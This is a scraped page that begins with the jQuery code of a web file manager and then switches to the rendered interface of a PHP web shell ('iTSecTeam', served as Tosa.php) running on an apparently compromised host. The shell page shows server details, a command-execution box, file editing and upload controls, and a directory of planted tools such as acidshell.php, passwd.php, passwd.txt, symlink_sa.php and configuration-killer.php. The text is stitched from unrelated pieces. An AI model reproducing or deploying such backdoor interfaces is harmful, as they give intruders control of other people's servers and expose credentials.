'replace')) { $('#fileinfo').find('button#replace').hide(); } else { $('#fileinfo').find('button#replace').click(function(){ replaceItem(data); }).show(); } if (!has_capability(data, 'delete')) { $('#fileinfo').find('button#delete').hide(); } else { $('#fileinfo').find('button#delete').click(function(){ if(deleteItem(data)) $('#fileinfo').html('

' + lg.select_from_left + '

'); }).show(); } if (!has_capability(data, 'download')) { $('#fileinfo').find('button#download').hide(); } else { $('#fileinfo').find('button#download').click(function(){ window.location = fileConnector + '?mode=download&path=' + encodeURIComponent(data['Path']); }).show(); } }; //Create FileTree and bind elements //called during initialization and also when adding a file //directly in root folder (via addNode) var createFileTree = function() { // Creates file tree. $('#filetree').fileTree({ root: fileRoot, datafunc: populateFileTree, multiFolder: false, folderCallback: function(path){ getFolderInfo(path); }, expandedFolder: fullexpandedFolder, after: function(data){ $('#filetree').find('li a').each(function() { $(this).contextMenu( { menu: getContextMenuOptions($(this)) }, function(action, el, pos){ var path = $(el).attr('data-path'); setMenus(action, path); } ); }); //Search function if(config.options.searchBox == true) { $('#q').liveUpdate('#filetree ul').blur(); $('#search span.q-inactive').html(lg.search); $('#search a.q-reset').attr('title', lg.search_reset); } } }, function(file){ getFileInfo(file); }); }; /*--------------------------------------------------------- Item Actions ---------------------------------------------------------*/ // Calls the SetUrl function for FCKEditor compatibility, // passes file path, dimensions, and alt text back to the // opening window. Triggered by clicking the "Select" // button in detail views or choosing the "Select" // contextual menu option in list views. // NOTE: closes the window when finished. var selectItem = function(data) { if(config.options.relPath !== false ) { var url = relPath + data['Path'].replace(fileRoot,""); } else { var url = relPath + data['Path']; } if(window.opener || window.tinyMCEPopup || $.urlParam('field_name')){ if(window.tinyMCEPopup){ // use TinyMCE > 3.0 integration method var win = tinyMCEPopup.getWindowArg("window"); win.document.getElementById(tinyMCEPopup.getWindowArg("input")).value = url; if (typeof(win.ImageDialog) != "undefined") { // Update image dimensions if (win.ImageDialog.getImageData) win.ImageDialog.getImageData(); // Preview if necessary if (win.ImageDialog.showPreviewImage) win.ImageDialog.showPreviewImage(url); } tinyMCEPopup.close(); return; } // tinymce 4 and colorbox if($.urlParam('field_name')){ parent.document.getElementById($.urlParam('field_name')).value = url; if(typeof parent.tinyMCE !== "undefined") { parent.tinyMCE.activeEditor.windowManager.close(); } if(typeof parent.$.fn.colorbox !== "undefined") { parent.$.fn.colorbox.close(); } } else if($.urlParam('CKEditor')){ // use CKEditor 3.0 integration method window.opener.CKEDITOR.tools.callFunction($.urlParam('CKEditorFuncNum'), url); } else { // use FCKEditor 2.0 integration method if(data['Properties']['Width'] != ''){ var p = url; var w = data['Properties']['Width']; var h = data['Properties']['Height']; window.opener.SetUrl(p,w,h); } else { window.opener.SetUrl(url); } } window.close(); } else { $.prompt(lg.fck_select_integration); } }; // Renames the current item and returns the new name. // Called by clicking the "Rename" button in detail views // or choosing the "Rename" contextual menu option in // list views. var renameItem = function(data) { var finalName = ''; var msg = lg.new_filename + ' : '; var getNewName = function(v, m){ if(v != 1) return false; rname = m.children('#rname').val(); if(rname != ''){ var givenName = nameFormat(rname); var suffix = getExtension(data['Filename']); if(suffix.length > 0) { givenName = givenName + '.' + suffix; } var oldPath = data['Path']; var connectString = fileConnector + '?mode=rename&old=' + data['Path'] + '&new=' + givenName; $.ajax({ type: 'GET', url: connectString, dataType: 'json', async: false, success: function(result){ if(result['Code'] == 0){ var newPath = result['New Path']; var newName = result['New Name']; updateNode(oldPath, newPath, newName); var title = $("#preview h1").attr("title"); if (typeof title !="undefined" && title == oldPath) { $('#preview h1').text(newName); } if($('#fileinfo').data('view') == 'grid'){ $('#fileinfo img[data-path="' + oldPath + '"]').parent().next('p').text(newName); $('#fileinfo img[data-path="' + oldPath + '"]').attr('data-path', newPath); } else { $('#fileinfo td[data-path="' + oldPath + '"]').text(newName); $('#fileinfo td[data-path="' + oldPath + '"]').attr('data-path', newPath); } $("#preview h1").html(newName); // actualized data for binding data['Path']=newPath; data['Filename']=newName; // Bind toolbar functions. $('#fileinfo').find('button#rename, button#delete, button#download').unbind(); bindToolbar(data); if(config.options.showConfirmation) $.prompt(lg.successful_rename); } else { $.prompt(result['Error']); } finalName = result['New Name']; } }); } }; var btns = {}; btns[lg.rename] = true; btns[lg.cancel] = false; $.prompt(msg, { callback: getNewName, buttons: btns }); return finalName; }; // Replace the current file and keep the same name. // Called by clicking the "Replace" button in detail views // or choosing the "Replace" contextual menu option in // list views. var replaceItem = function(data) { // remove dynamic form if already exists //$('#file-replacement').remove(); // we create a dynamic form with input File // $form = $('
'); // $form.append(''); // $form.append(' '); // $form.append(''); // $('body').prepend($form); // we auto-submit form when user filled it up $('#fileR').bind('change', function () { $(this).closest("form#toolbar").submit(); }); // we set the connector to send data to $('#toolbar').attr('action', fileConnector); $('#toolbar').attr('method', 'post'); // submission script $('#toolbar').ajaxForm({ target: '#uploadresponse', beforeSubmit: function (arr, form, options) { var newFile = $('#fileR', form).val(); // Test if a value is given if (newFile == '') { return false; } // Check if file extension is matching with the original if (getExtension(newFile) != data["File Type"]) { $.prompt(lg.ERROR_REPLACING_FILE + " ." + getExtension(data["Filename"])); return false; } $('#replace').attr('disabled', true); $('#upload span').addClass('loading').text(lg.loading_data); // if config.upload.fileSizeLimit == auto we delegate size test to connector if (typeof FileReader !== "undefined" && typeof config.upload.fileSizeLimit != "auto") { // Check file size using html5 FileReader API var size = $('#fileR', form).get(0).files[0].size; if (size > config.upload.fileSizeLimit * 1024 * 1024) { $.prompt("

" + lg.file_too_big + "

" + lg.file_size_limit + config.upload.fileSizeLimit + " " + lg.mb + ".

"); $('#upload').removeAttr('disabled').find("span").removeClass('loading').text(lg.upload); return false; } } }, error: function (jqXHR, textStatus, errorThrown) { $('#upload').removeAttr('disabled').find("span").removeClass('loading').text(lg.upload); $.prompt(lg.ERROR_UPLOADING_FILE); }, success: function (result) { var data = jQuery.parseJSON($('#uploadresponse').find('textarea').text()); if (data['Code'] == 0) { var fullpath = data["Path"] + '/' + data["Name"]; // Reloading file info getFileInfo(fullpath); // Visual effects for user to see action is successful $('#preview').find('img').hide().fadeIn('slow'); // on right panel $('ul.jqueryFileTree').find('li a[data-path="' + fullpath + '"]').parent().hide().fadeIn('slow'); // on fileTree if (config.options.showConfirmation) $.prompt(lg.successful_replace); } else { $.prompt(data['Error']); } $('#replace').removeAttr('disabled'); $('#upload span').removeClass('loading').text(lg.upload); } }); // we pass data path value - original file $('#newfilepath').val(data["Path"]); // we open the input file dialog window $('#fileR').click(); }; // Move the current item to specified dir and returns the new name. // Called by clicking the "Move" button in detail views // or choosing the "Move" contextual menu option in // list views. var moveItem = function(data) { var finalName = ''; var msg = lg.move + ' : '; var doMove = function(v, m){ if(v != 1) return false; rname = m.children('#rname').val(); if(rname != ''){ var givenName = rname; var oldPath = data['Path']; var connectString = fileConnector + '?mode=move&old=' + encodeURIComponent(data['Path']) + '&new=' + encodeURIComponent(givenName) + '&root=' + encodeURIComponent(fileRoot); $.ajax({ type: 'GET', url: connectString, dataType: 'json', async: false, success: function(result){ if(result['Code'] == 0){ var newPath = result['New Path']; var newName = result['New Name']; // we set fullexpandedFolder value to automatically open file in // filetree when calling createFileTree() function fullexpandedFolder = newPath; createFileTree(); getFolderInfo(newPath); // update list in main window if(config.options.showConfirmation) $.prompt(lg.successful_moved); } else { $.prompt(result['Error']); } finalName = newPath + newName; } }); } }; var btns = {}; btns[lg.move] = true; btns[lg.cancel] = false; $.prompt(msg, { callback: doMove, buttons: btns }); return finalName; }; // Prompts for confirmation, then deletes the current item. // Called by clicking the "Delete" button in detail views // or choosing the "Delete contextual menu item in list views. var deleteItem = function(data) { var isDeleted = false; var msg = lg.confirmation_delete; var doDelete = function(v, m){ if(v != 1) return false; var d = new Date(); // to prevent IE cache issues var connectString = fileConnector + '?mode=delete&path=' + encodeURIComponent(data['Path']) + '&time=' + d.getMilliseconds(), parent = data['Path'].split('/').reverse().slice(1).reverse().join('/') + '/'; $.ajax({ type: 'GET', url: connectString, dataType: 'json', async: false, success: function(result){ if(result['Code'] == 0){ removeNode(result['Path']); var rootpath = result['Path'].substring(0, result['Path'].length-1); // removing the last slash rootpath = rootpath.substr(0, rootpath.lastIndexOf('/') + 1); $('#uploader h1').text(lg.current_folder + displayPath(rootpath)).attr("title", displayPath(rootpath, false)).attr('data-path', rootpath); isDeleted = true; if(config.options.showConfirmation) $.prompt(lg.successful_delete); // seems to be necessary when dealing w/ files located on s3 (need to look into a cleaner solution going forward) $('#filetree').find('a[data-path="' + parent +'/"]').click().click(); } else { isDeleted = false; $.prompt(result['Error']); } } }); }; var btns = {}; btns[lg.yes] = true; btns[lg.no] = false; $.prompt(msg, { callback: doDelete, buttons: btns }); return isDeleted; }; /*--------------------------------------------------------- Functions to Update the File Tree ---------------------------------------------------------*/ // Adds a new node as the first item beneath the specified // parent node. Called after a successful file upload. var addNode = function(path, name) { var ext = getExtension(name); var thisNode = $('#filetree').find('a[data-path="' + path + '"]'); var parentNode = thisNode.parent(); var newNode = '
  • ' + name + '
  • '; // if is root folder // TODO optimize if(!parentNode.find('ul').size()) { parentNode = $('#filetree').find('ul.jqueryFileTree'); parentNode.prepend(newNode); createFileTree(); } else { parentNode.find('ul').prepend(newNode); thisNode.click().click(); } getFolderInfo(path); // update list in main window if(config.options.showConfirmation) $.prompt(lg.successful_added_file); }; // Updates the specified node with a new name. Called after // a successful rename operation. var updateNode = function(oldPath, newPath, newName){ var thisNode = $('#filetree').find('a[data-path="' + oldPath + '"]'); var parentNode = thisNode.parent().parent().prev('a'); thisNode.attr('data-path', newPath).text(newName); // we work directly on root folder // TODO optimize by binding only the renamed element if(parentNode.length == 0) { createFileTree(); } else { parentNode.click().click(); } }; // Removes the specified node. Called after a successful // delete operation. var removeNode = function(path) { $('#filetree') .find('a[data-path="' + path + '"]') .parent() .fadeOut('slow', function(){ $(this).remove(); }); // if the actual view is the deleted folder, we display parent folder if($('#uploader h1').attr('data-path') == path) { var a = path.split('/'); var parent = a.slice(0, length - 2).join('/') + '/'; getFolderInfo(parent); } // grid case if($('#fileinfo').data('view') == 'grid'){ $('#contents img[data-path="' + path + '"]').parent().parent() .fadeOut('slow', function(){ $(this).remove(); }); } // list case else { $('table#contents') .find('td[data-path="' + path + '"]') .parent() .fadeOut('slow', function(){ $(this).remove(); }); } // remove fileinfo when item to remove is currently selected if ($('#preview').length) { getFolderInfo(path.substr(0, path.lastIndexOf('/') + 1)); } }; // Adds a new folder as the first item beneath the // specified parent node. Called after a new folder is // successfully created. var addFolder = function(parent, name) { var newNode = ''; var parentNode = $('#filetree').find('a[data-path="' + parent + '"]'); if(parent != fileRoot){ parentNode.next('ul').prepend(newNode).prev('a').click().click(); } else { $('#filetree > ul').prepend(newNode); $('#filetree').find('li a[data-path="' + parent + name + '/"]').attr('class', 'cap_rename cap_delete').click(function(){ getFolderInfo(parent + name + '/'); }).each(function() { $(this).contextMenu( { menu: getContextMenuOptions($(this)) }, function(action, el, pos){ var path = $(el).attr('data-path'); setMenus(action, path); }); } ); } if(config.options.showConfirmation) $.prompt(lg.successful_added_folder); }; /*--------------------------------------------------------- Functions to Retrieve File and Folder Details ---------------------------------------------------------*/ // Decides whether to retrieve file or folder info based on // the path provided. var getDetailView = function(path) { if(path.lastIndexOf('/') == path.length - 1){ getFolderInfo(path); $('#filetree').find('a[data-path="' + path + '"]').click(); } else { getFileInfo(path); } }; function getContextMenuOptions(elem) { var optionsID = elem.attr('class').replace(/ /g, '_'); if (optionsID == "") return 'itemOptions'; if (!($('#' + optionsID).length)) { // Create a clone to itemOptions with menus specific to this element var newOptions = $('#itemOptions').clone().attr('id', optionsID); if (!elem.hasClass('cap_select')) $('.select', newOptions).remove(); if (!elem.hasClass('cap_download')) $('.download', newOptions).remove(); if (!elem.hasClass('cap_rename')) $('.rename', newOptions).remove(); if (!elem.hasClass('cap_move')) $('.move', newOptions).remove(); $('.replace', newOptions).remove(); // we remove replace since it is not implemented on Opera + Chrome and works only if #preview panel is on on FF if (!elem.hasClass('cap_delete')) $('.delete', newOptions).remove(); $('#itemOptions').after(newOptions); } return optionsID; } // Binds contextual menus to items in list and grid views. var setMenus = function(action, path) { var d = new Date(); // to prevent IE cache issues $.getJSON(fileConnector + '?mode=getinfo&path=' + path + '&time=' + d.getMilliseconds(), function(data){ if($('#fileinfo').data('view') == 'grid'){ var item = $('#fileinfo').find('img[data-path="' + data['Path'] + '"]').parent(); } else { var item = $('#fileinfo').find('td[data-path="' + data['Path'] + '"]').parent(); } switch(action){ case 'select': selectItem(data); break; case 'download': // todo implement javascript method to test if exstension is correct window.location = fileConnector + '?mode=download&path=' + data['Path'] + '&time=' + d.getMilliseconds(); break; case 'rename': var newName = renameItem(data); break; case 'replace': replaceItem(data); break; case 'move': var newName = moveItem(data); break; case 'delete': deleteItem(data); break; } }); }; // Retrieves information about the specified file as a JSON // object and uses that data to populate a template for // detail views. Binds the toolbar for that detail view to // enable specific actions. Called whenever an item is // clicked in the file tree or list views. var getFileInfo = function(file) { // Update location for status, upload, & new folder functions. var currentpath = file.substr(0, file.lastIndexOf('/') + 1); setUploader(currentpath); // Include the template. var template = '

    '; template += ''; template += ''; if($.inArray('select', capabilities) != -1 && (window.opener || window.tinyMCEPopup || $.urlParam('field_name'))) template += ''; if($.inArray('download', capabilities) != -1) template += ''; if($.inArray('rename', capabilities) != -1 && config.options.browseOnly != true) template += ''; if($.inArray('move', capabilities) != -1 && config.options.browseOnly != true) template += ''; if($.inArray('delete', capabilities) != -1 && config.options.browseOnly != true) template += ''; if($.inArray('replace', capabilities) != -1 && config.options.browseOnly != true) { template += ''; template += '
    '; template += ' '; template += ''; } template += '
    '; $('#fileinfo').html(template); $('#parentfolder').click(function() {getFolderInfo(currentpath);}); // Retrieve the data & populate the template. var d = new Date(); // to prevent IE cache issues $.getJSON(fileConnector + '?mode=getinfo&path=' + encodeURIComponent(file) + '&time=' + d.getMilliseconds(), function(data){ if(data['Code'] == 0){ $('#fileinfo').find('h1').text(data['Filename']).attr('title', file); $('#fileinfo').find('img').attr('src',data['Preview']); if(isVideoFile(data['Filename']) && config.videos.showVideoPlayer == true) { getVideoPlayer(data); } if(isAudioFile(data['Filename']) && config.audios.showAudioPlayer == true) { getAudioPlayer(data); } var properties = ''; if(data['Properties']['Width'] && data['Properties']['Width'] != '') properties += '
    ' + lg.dimensions + '
    ' + data['Properties']['Width'] + 'x' + data['Properties']['Height'] + '
    '; if(data['Properties']['Date Created'] && data['Properties']['Date Created'] != '') properties += '
    ' + lg.created + '
    ' + data['Properties']['Date Created'] + '
    '; if(data['Properties']['Date Modified'] && data['Properties']['Date Modified'] != '') properties += '
    ' + lg.modified + '
    ' + data['Properties']['Date Modified'] + '
    '; if(data['Properties']['Size'] || parseInt(data['Properties']['Size'])==0) properties += '
    ' + lg.size + '
    ' + formatBytes(data['Properties']['Size']) + '
    '; $('#fileinfo').find('dl').html(properties); // Bind toolbar functions. bindToolbar(data); } else { $.prompt(data['Error']); } }); }; // Retrieves data for all items within the given folder and // creates a list view. Binds contextual menu options. // TODO: consider stylesheet switching to switch between grid // and list views with sorting options. var getFolderInfo = function(path) { // Update location for status, upload, & new folder functions. setUploader(path); // Display an activity indicator. $('#fileinfo').html(''); // Retrieve the data and generate the markup. var d = new Date(); // to prevent IE cache issues var url = fileConnector + '?path=' + encodeURIComponent(path) + '&mode=getfolder&showThumbs=' + config.options.showThumbs + '&time=' + d.getMilliseconds(); if ($.urlParam('type')) url += '&type=' + $.urlParam('type'); $.getJSON(url, function(data){ var result = ''; // Is there any error or user is unauthorized? if(data.Code=='-1') { handleError(data.Error); return; }; if(data){ if($('#fileinfo').data('view') == 'grid'){ result += '
      '; for(key in data){ var props = data[key]['Properties']; var cap_classes = ""; for (cap in capabilities) { if (has_capability(data[key], capabilities[cap])) { cap_classes += " cap_" + capabilities[cap]; } } var scaledWidth = 64; var actualWidth = props['Width']; if(actualWidth > 1 && actualWidth < scaledWidth) scaledWidth = actualWidth; config.options.showTitleAttr ? title = ' title="' + data[key]['Path'] + '"' : title = ''; result += '
    • ' + data[key]['Path'] + '

      ' + data[key]['Filename'] + '

      '; if(props['Width'] && props['Width'] != '') result += '' + props['Width'] + 'x' + props['Height'] + ''; if(props['Size'] && props['Size'] != '') result += '' + props['Size'] + ''; if(props['Date Created'] && props['Date Created'] != '') result += '' + props['Date Created'] + ''; if(props['Date Modified'] && props['Date Modified'] != '') result += '' + props['Date Modified'] + ''; result += '
    • '; } result += '
    '; } else { result += ''; result += ''; result += ''; for(key in data){ var path = data[key]['Path']; var props = data[key]['Properties']; var cap_classes = ""; config.options.showTitleAttr ? title = ' title="' + data[key]['Path'] + '"' : title = ''; for (cap in capabilities) { if (has_capability(data[key], capabilities[cap])) { cap_classes += " cap_" + capabilities[cap]; } } result += ''; result += ''; if(props['Width'] && props['Width'] != ''){ result += (''); } else { result += ''; } if(props['Size'] && props['Size'] != ''){ result += ''; } else { result += ''; } if(props['Date Modified'] && props['Date Modified'] != ''){ result += ''; } else { result += ''; } result += ''; } result += ''; result += '
    ' + lg.name + '' + lg.dimensions + '' + lg.size + '' + lg.modified + '
    ' + data[key]['Filename'] + '' + props['Width'] + 'x' + props['Height'] + '' + formatBytes(props['Size']) + '' + props['Date Modified'] + '
    '; } } else { result += '

    ' + lg.could_not_retrieve_folder + '

    '; } // Add the new markup to the DOM. $('#fileinfo').html(result); // Bind click events to create detail views and add // contextual menu options. if($('#fileinfo').data('view') == 'grid') { $('#fileinfo').find('#contents li').click(function(){ var path = $(this).find('img').attr('data-path'); getDetailView(path); }).each(function() { $(this).contextMenu( { menu: getContextMenuOptions($(this)) }, function(action, el, pos){ var path = $(el).find('img').attr('data-path'); setMenus(action, path); } ); }); } else { $('#fileinfo tbody tr').click(function(){ var path = $('td:first-child', this).attr('data-path'); getDetailView(path); }).each(function() { $(this).contextMenu( { menu: getContextMenuOptions($(this)) }, function(action, el, pos){ var path = $('td:first-child', el).attr('data-path'); setMenus(action, path); } ); }); $('#fileinfo').find('table').tablesorter({ textExtraction: function(node){ if($(node).find('abbr').size()){ return $(node).find('abbr').attr('title'); } else { return node.innerHTML; } } }); // Calling display_icons() function // to get icons from filteree // Necessary to fix bug #170 // https://github.com/simogeo/Filemanager/issues/170 var timer = setInterval(function() {display_icons(timer)}, 300); } }); }; // Retrieve data (file/folder listing) for jqueryFileTree and pass the data back // to the callback function in jqueryFileTree var populateFileTree = function(path, callback) { var d = new Date(); // to prevent IE cache issues var url = fileConnector + '?path=' + encodeURIComponent(path) + '&mode=getfolder&showThumbs=' + config.options.showThumbs + '&time=' + d.getMilliseconds(); if ($.urlParam('type')) url += '&type=' + $.urlParam('type'); $.getJSON(url, function(data) { var result = ''; // Is there any error or user is unauthorized? if(data.Code=='-1') { handleError(data.Error); return; }; if(data) { result += "
      "; for(key in data) { var cap_classes = ""; for (cap in capabilities) { if (has_capability(data[key], capabilities[cap])) { cap_classes += " cap_" + capabilities[cap]; } } if (data[key]['File Type'] == 'dir') { result += "
    • " + data[key]['Filename'] + "
    • "; } else { if(config.options.listFiles) { result += "
    • " + data[key]['Filename'] + "
    • "; } } } result += "
    "; } else { result += '

    ' + lg.could_not_retrieve_folder + '

    '; } callback(result); }); }; /*--------------------------------------------------------- Initialization ---------------------------------------------------------*/ $(function(){ if(config.extras.extra_js) { for(var i=0; i< config.extras.extra_js.length; i++) { $.ajax({ url: config.extras.extra_js[i], dataType: "script", async: config.extras.extra_js_async }); } } if(!config.options.fileRoot) { fileRoot = '/' + document.location.pathname.substring(1, document.location.pathname.lastIndexOf('/') + 1) + 'userfiles/'; } else { if(!config.options.serverRoot) { fileRoot = config.options.fileRoot; } else { fileRoot = '/' + config.options.fileRoot; } // we remove double slashes - can happen when using PHP SetFileRoot() function with fileRoot = '/' value fileRoot = fileRoot.replace(/\/\//g, '\/'); } if(config.options.relPath === false) { relPath = window.location.protocol + "//" + window.location.host; } else { relPath = config.options.relPath; } if($.urlParam('exclusiveFolder') != 0) { fileRoot += $.urlParam('exclusiveFolder'); if(fileRoot.charAt(fileRoot.length-1) != '/' ) fileRoot += '/'; // add last '/' if needed fileRoot = fileRoot.replace(/\/\//g, '\/'); } if($.urlParam('expandedFolder') != 0) { expandedFolder = $.urlParam('expandedFolder'); fullexpandedFolder = fileRoot + expandedFolder; } else { expandedFolder = ''; fullexpandedFolder = null; } // we finalize the FileManager UI initialization // with localized text if necessary if(config.options.autoload == true) { $('#upload').append(lg.upload); $('#newfolder').append(lg.new_folder); $('#grid').attr('title', lg.grid_view); $('#list').attr('title', lg.list_view); $('#fileinfo h1').append(lg.select_from_left); $('#itemOptions a[href$="#select"]').append(lg.select); $('#itemOptions a[href$="#download"]').append(lg.download); $('#itemOptions a[href$="#rename"]').append(lg.rename); $('#itemOptions a[href$="#move"]').append(lg.move); $('#itemOptions a[href$="#replace"]').append(lg.replace); $('#itemOptions a[href$="#delete"]').append(lg.del); } /** Input file Replacement */ $('#browse').append('+'); $('#browse').attr('title', lg.browse); $("#newfile").change(function() { $("#filepath").val($(this).val().replace(/.+[\\\/]/, "")); }); /** load searchbox */ if(config.options.searchBox === true) { $.getScript("./scripts/filemanager.liveSearch.min.js"); } else { $('#search').remove(); } // cosmetic tweak for buttons $('button').wrapInner(''); // Set initial view state. $('#fileinfo').data('view', config.options.defaultViewMode); setViewButtonsFor(config.options.defaultViewMode); $('#home').click(function() { var currentViewMode = $('#fileinfo').data('view'); $('#fileinfo').data('view', currentViewMode); $('#filetree>ul>li.expanded>a').trigger('click'); getFolderInfo(fileRoot); }); // Set buttons to switch between grid and list views. $('#grid').click(function() { setViewButtonsFor('grid'); $('#fileinfo').data('view', 'grid'); getFolderInfo($('#currentpath').val()); }); $('#list').click(function() { setViewButtonsFor('list'); $('#fileinfo').data('view', 'list'); getFolderInfo($('#currentpath').val()); }); // Provide initial values for upload form, status, etc. setUploader(fileRoot); $('#uploader').attr('action', fileConnector); $('#uploader').ajaxForm({ target: '#uploadresponse', beforeSubmit: function (arr, form, options) { // Test if a value is given if($('#newfile', form).val()=='') { return false; } // Check if file extension is allowed if (!isAuthorizedFile($('#newfile', form).val())) { var str = '

    ' + lg.INVALID_FILE_TYPE + '

    '; if(config.security.uploadPolicy == 'DISALLOW_ALL') { str += '

    ' + lg.ALLOWED_FILE_TYPE + config.security.uploadRestrictions.join(', ') + '.

    '; } if(config.security.uploadPolicy == 'ALLOW_ALL') { str += '

    ' + lg.DISALLOWED_FILE_TYPE + config.security.uploadRestrictions.join(', ') + '.

    '; } $("#filepath").val(''); $.prompt(str); return false; } $('#upload').attr('disabled', true); $('#upload span').addClass('loading').text(lg.loading_data); if ($.urlParam('type').toString().toLowerCase() == 'images') { // Test if uploaded file extension is in valid image extensions var newfileSplitted = $('#newfile', form).val().toLowerCase().split('.'); for (key in config.images.imagesExt) { if (config.images.imagesExt[key] == newfileSplitted[newfileSplitted.length - 1]) { return true; } } $.prompt(lg.UPLOAD_IMAGES_ONLY); $('#upload').removeAttr('disabled').find("span").removeClass('loading').text(lg.upload); return false; } // if config.upload.fileSizeLimit == auto we delegate size test to connector if (typeof FileReader !== "undefined" && typeof config.upload.fileSizeLimit != "auto") { // Check file size using html5 FileReader API var size = $('#newfile', form).get(0).files[0].size; if (size > config.upload.fileSizeLimit * 1024 * 1024) { $.prompt("

    " + lg.file_too_big + "

    " + lg.file_size_limit + config.upload.fileSizeLimit + " " + lg.mb + ".

    "); $('#upload').removeAttr('disabled').find("span").removeClass('loading').text(lg.upload); return false; } } }, error: function (jqXHR, textStatus, errorThrown) { $('#upload').removeAttr('disabled').find("span").removeClass('loading').text(lg.upload); $.prompt(lg.ERROR_UPLOADING_FILE); }, success: function (result) { var data = jQuery.parseJSON($('#uploadresponse').find('textarea').text()); if (data['Code'] == 0) { addNode(data['Path'], data['Name']); $("#filepath, #newfile").val(''); // IE can not empty input='file'. A fix consist to replace the element (see github issue #215) if($.browser.msie) $("#newfile").replaceWith($("#newfile").clone(true)); // seems to be necessary when dealing w/ files located on s3 (need to look into a cleaner solution going forward) $('#filetree').find('a[data-path="' + data['Path'] + '/"]').click().click(); } else { $.prompt(data['Error']); } $('#upload').removeAttr('disabled'); $('#upload span').removeClass('loading').text(lg.upload); $("#filepath").val(''); } }); // Creates file tree. createFileTree(); // Disable select function if no window.opener if(! (window.opener || window.tinyMCEPopup || $.urlParam('field_name')) ) $('#itemOptions a[href$="#select"]').remove(); // Keep only browseOnly features if needed if(config.options.browseOnly == true) { $('#file-input-container').remove(); $('#upload').remove(); $('#newfolder').remove(); $('#toolbar').remove('#rename'); $('.contextMenu .rename').remove(); $('.contextMenu .move').remove(); $('.contextMenu .replace').remove(); $('.contextMenu .delete').remove(); } // Adjust layout. setDimensions(); $(window).resize(setDimensions); // Provides support for adjustible columns. $('#splitter').splitter({ sizeLeft: 200 }); getDetailView(fileRoot + expandedFolder); }); // add useragent string to html element for IE 10/11 detection var doc = document.documentElement; doc.setAttribute('data-useragent', navigator.userAgent); })(jQuery);
    Warning: filesize() [function.filesize]: stat failed for /home/redpine/public_html/tmp//Mr.HiTman.txt in /home/redpine/public_html/tmp/Tosa.php on line 664

    Warning: filectime() [function.filectime]: stat failed for /home/redpine/public_html/tmp//Mr.HiTman.txt in /home/redpine/public_html/tmp/Tosa.php on line 664

    Warning: fileperms() [function.fileperms]: stat failed for /home/redpine/public_html/tmp//Mr.HiTman.txt in /home/redpine/public_html/tmp/Tosa.php on line 664
    iTSecTeam
    Operation System : Linux rs4.webd.pl 2.6.32-358.11.1.el6.x86_64 #1 SMP Wed Jun 12 03:34:52 UTC 2013 x86_64 | Php Version : 5.2.13 | Safe Mode : Off

    Now Directory : /home/redpine/public_html/tmp/

    symlink13/07/15755DLMoveCopyRenDel
    sym13/07/12755DLMoveCopyRenDel
    mr13/10/16755DLMoveCopyRenDel
    perl13/07/15755DLMoveCopyRenDel
    msd13/07/14755DLMoveCopyRenDel
    hossein13/10/16755DLMoveCopyRenDel
    install_51973efe3083713/05/18755DLMoveCopyRenDel
    b4ck.php803 B13/07/16644EditDLMoveCopyRenDel
    TeamPS.php62.15 KB13/07/14644EditDLMoveCopyRenDel
    weeb.php74.8 KB13/08/09644EditDLMoveCopyRenDel
    new.pl910 B13/07/21644EditDLMoveCopyRenDel
    adm.php52.29 KB13/08/05644EditDLMoveCopyRenDel
    idc.php187 B13/07/14644EditDLMoveCopyRenDel
    cp.php29.37 KB13/07/16644EditDLMoveCopyRenDel
    us.pl1.23 KB13/07/15644EditDLMoveCopyRenDel
    symlink_sa.php26.67 KB13/07/12644EditDLMoveCopyRenDel
    passwd.php1.33 KB13/07/12644EditDLMoveCopyRenDel
    wss.php16.42 KB13/08/05644EditDLMoveCopyRenDel
    Mr.HiTman.txt B70/01/010EditDLMoveCopyRenDel
    domain.php2.17 KB13/07/12644EditDLMoveCopyRenDel
    jic.php14.1 KB13/08/05644EditDLMoveCopyRenDel
    php.ini24 B13/11/22644EditDLMoveCopyRenDel
    shells-goes-here.txt2.88 KB13/11/22644EditDLMoveCopyRenDel
    ro.pHp126.63 KB13/10/16644EditDLMoveCopyRenDel
    acidshell.php184.29 KB13/07/30644EditDLMoveCopyRenDel
    persia.php47.76 KB13/07/14644EditDLMoveCopyRenDel
    sajjad.php1.59 KB13/08/05644EditDLMoveCopyRenDel
    Saudi.php13.44 KB13/07/14644EditDLMoveCopyRenDel
    webadmin.php68.83 KB13/07/14644EditDLMoveCopyRenDel
    index.php5.47 KB13/08/06644EditDLMoveCopyRenDel
    Tosa.php85.29 KB13/11/08644EditDLMoveCopyRenDel
    Symlink4.php88.11 KB13/07/16644EditDLMoveCopyRenDel
    .htaccess0 B13/11/22644EditDLMoveCopyRenDel
    agha.ahmad.php1.35 KB13/08/06644EditDLMoveCopyRenDel
    config.php1.48 KB13/07/12644EditDLMoveCopyRenDel
    hossein.php1.35 KB13/10/16644EditDLMoveCopyRenDel
    passwd.txt46.71 KB13/07/12644EditDLMoveCopyRenDel
    index.html31 B13/05/18644EditDLMoveCopyRenDel
    majid.html3.04 KB13/07/10644EditDLMoveCopyRenDel
    sql.php36.62 KB13/11/09644EditDLMoveCopyRenDel
    wic.php16.82 KB13/08/05644EditDLMoveCopyRenDel
    storm.php711.52 KB13/07/16644EditDLMoveCopyRenDel
    configuration-killer.php14.2 KB13/07/12644EditDLMoveCopyRenDel
    shellfinder.php13.82 KB13/07/16644EditDLMoveCopyRenDel
    hd.php149.68 KB13/10/16644EditDLMoveCopyRenDel
    index.htm5.47 KB13/08/06644EditDLMoveCopyRenDel
    config.pl5.63 KB13/07/12755EditDLMoveCopyRenDel
    ss.php0 B13/11/22644EditDLMoveCopyRenDel
    Directory : 7 -- File : 41

    Command Execute :

    Change Dir :

    Edit File :

    Create Dir :

    Create File :

    Upload :
    Maximum Size : 32M

    iTSecTeam.com
    Coded by Amin Shokohi (Pejvak)